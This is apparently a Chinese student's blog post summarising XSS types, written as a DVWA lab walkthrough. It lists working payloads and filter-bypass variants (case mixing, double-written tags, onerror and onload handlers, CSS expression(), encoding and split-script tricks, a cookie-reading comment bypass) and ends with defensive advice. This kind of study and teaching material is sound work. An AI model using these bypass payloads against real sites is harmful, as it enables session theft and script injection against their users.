上课上自闭了,我真的不是web手也打不来web题……
写个总结,算是补上一年前跟大佬py到的那两道web的wp。
……我怎么总在搞给过去的自己打补丁这种沙雕行为(。
建议结合2019-03-17 XSS实验报告观看。
XSS类型
反射型XSS
反射型XSS只是简单的把用户输入的数据“反射”给浏览器,也称为非持久型XSS(Non-persistent XSS),特点为单击时触发,执行一次。
应用
通常出现在网站的搜索栏、用户登入口等地方。
<script>alert(1)</script>
过滤字符的应对
此处以DVWA为例。
在Medium级别中,关键代码如下所示:
可以看到只过滤了<script>
字符串,常用方法有更改大小写或双写以拼接script
等,其他绕过方法详见文章“常见XSS变形”一节。
<Script>alert(1)</sCript>
<sc<script>ript>alert(222)</script>
在High级别中,关键代码如下所示:
关于上图代码中的正则表达式的说明如下,正则的更多语法和说明请参考文末链接。
代码 | 说明 |
---|---|
. | 匹配除换行符以外的任意字符 |
* | 重复零次或更多次 |
我们已经提到了怎么重复单个字符(直接在字符后面加上限定符就行了);但如果想要重复多个字符又该怎么办?你可以用小括号来指定子表达式(也叫做分组),然后你就可以指定这个子表达式的重复次数了,你也可以对子表达式进行其它一些操作(后面会有介绍)。
可以看到对<script
做了正则搜索(.*)
和大小写过滤/i
,双写和大小写混淆不再有效,但没有做更多限制。因此可以选择放弃使用<script>
标签,转而利用事件实现XSS。
<img src="" onerror="alert(1)"/>
<iframe onload=alert(1) style="display:none"></iframe>
存储型XSS
存储型XSS会把用户输入的数据“存储”在服务器端,又称为“持久型XSS”。
攻击者事先将恶意js代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意js代码的页面就会执行恶意代码,不需单击即可触发。
应用
多见于网页留言板、评论等,常见应对方法包括在前端或后台限制输入长度、或做敏感字符过滤等。
限制长度的应对
前端限制长度只需f12开控制台更改代码即可,也可采用抓包更改传输数据。
后台数据库限制长度可采用注释绕过或拼接绕过,其中“利用注释绕过”这一方法现举例如下。
此处先提交*/cookie</script>
是由于后台的留言按时间倒序显示,因此会拼接为<script>alert(doucument./*被注释的代码*/cookie)</script>
。
过滤字符的应对
此处以DVWA为例。
在Medium级别中,关键代码如下所示:
可以看到虽然对
$message
变量做了htmlspecialchars()
转换,但对$name
的过滤却只过滤了<script>
字符串,因此只要从$name
着手即可。此处举两个例子,其他绕过方法详见文章“常见XSS变形”一节。
<Script>alert(1)</sCript>
<sc<script>ript>alert(222)</script>
在High级别中,关键代码如下所示:
可以看到和反射型XSS的High级别相似,虽然过滤了<script
标签,但没有做更多过滤,可以创建事件以进行XSS攻击。
更多过滤和绕过方法可以参考去年杭电week2的web题wp:
https://github.com/vidar-team/Hgame2018_writeup/blob/master/week2/official_wp/week2_web_wp.pdf
DOM型XSS
DOM型XSS是一种基于DOM树的XSS,通过修改页面的DOM(Document Object Model,文档对象模型)节点形成XSS。
例如服务器端经常使用document.boby.innerHtml
等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。如果按照“是否保存在服务器端”来划分,DOM型XSS也是反射型XSS。
应用
可能触发DOM型XSS的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
……
此处仍以DVWA为例。
在Medium级别中,代码如下
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
可以看出过滤了<script
,因此可以选择利用事件,构建语句:<img src='x' onerror='alert(1)'>
,但输入后无事发生(。查看源代码:
可以发现语句被插入到了value值中。为此,需要闭合前面的标签,即<select>
和<option
。构建exp如下:
/?default=English></option></select><img src='x' onerror='alert(1)'>
此时拼接如下图:
在High级别中,代码如下
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
url中字符#
后的数据不会发送到服务器端,从而绕过服务端过滤。构造exp为:
/?default=English#<script>alert(1)</script>
常见XSS变形
根据过滤代码的写法采取不同的变形以绕过过滤,常见的有以下几种。
1. 扰乱过滤规则
大小写转换
<script>alert(1)</script>
<Script>alert(1)</sCript>
引号的引用
@ 无引号
<Img sRc=# Onerror=alert(/xss/) />
@ 单引号
<Img sRc='#' Onerror='alert(/xss/)' />
@ 双引号
<Img sRc="#" Onerror="alert(/xss/)" />
表格引用自 XSS绕过 - N1nG - CSDN
类型 | 写法 |
---|---|
一个正常的XSS输入 | <img src="javascript:alert(0);"> |
转换大小写后的XSS | <IMG SRC="javascript:alert(0);"> |
大小写混淆的XSS | <iMg sRc="jaVasCript:alert(0);"> |
不用双引号,而是使用单引号的XSS | <img src='javascript:alert(0);'> |
不使用引号的XSS | <img src=javascript:alert(0);> |
关于引号的作用,请阅读XSS 攻击时怎么绕过 htmlspecialchars 函数呢? - 梧桐雨的回答 - 知乎及文末拓展阅读。
2. 利用 / 代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
3. CSS中变形
@ 使用全角字符
<style>body{background-image:expression(alert(/xss/));}</style>
@ 注释会被浏览器忽略
<style>
body{background-image:expre/***/ssion(alert(/xss/))}
</style>
@ 样式表中的\ 和\0 同样会被浏览器忽略
<style>@import 'javasc\ri\0pt:alert("xss")';</style>
4. 利用空格、Tab或回车
@ 利用Tab
<A hREf="j avascript:alert(/xss/)">click me!</a>
@ 利用回车
<img src="javas
cript:
alert(/xss/)" width=100>
5. 对标签属性值进行转码
@ 将字符转为十进制或十六进制,例如
a 97 a a
e 101 e e
<A hREf="j avascript:alert(/xss/)">click me!</a>
6. 拆分跨站
@ 拼接
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
@ 注释
<script>alert(doucument./*
*/cookie</script>
常见应对XSS方法
-
输入输出检查并对敏感字符编码,如
<
转成<
- 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如
<script>
、JavaScript
、<
、>
、”
。常使用preg_replace()
函数,如preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
- 在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。如php可以使用
htmlentities()
函数及htmlspecialchars()
函数;JavascriptEncode使用escapeJavascript()
函数来转义、<>\&#
等,同时要求输出变量必须在引号内部。在Java中也存在第三方组件支持过滤XSS漏洞,如JSOUP、OWASP Esapi、xssprotext等。
- 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如
-
黑名单,白名单
- 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签:
<iframe>
、<base>
、<script>
、<form>
等。 - 在标签的选择上,应该使用白名单,如只允许
<a>
、<img>
、<div>
等比较安全的标签
- 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签:
参考资料&拓展阅读
- XSS简介 - xiaoWhite_meng - CSDN
- XSS 漏洞总结 - 4ct10n - CSDN
- 新手指南:DVWA-1.9全级别教程之XSS - lonehand - Freebuf
- 关于DOM型XSS漏洞的学习笔记 - Mi1k7ea - CSDN
- dvwa DOM型XSS - C1imber's Blog
- 前端常见的攻击方式及预防方法 - 大颓宝宝 - 简书
- Cross-site scripting - WikiPedia
- DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别? - 梧桐雨的回答 - 知乎
- 记一次有意思的XSS绕过之奇葩的中文尖括号 - C1imber's Blog
- 代码审计Day12 – 误用htmlentities函数引发的漏洞 - 红日安全团队 - 先知社区
- 正则表达式30分钟入门教程v2.3.5 - deerchao
- 新手指南:手把手教你如何搭建自己的渗透测试环境 - felix - Freebuf
网友评论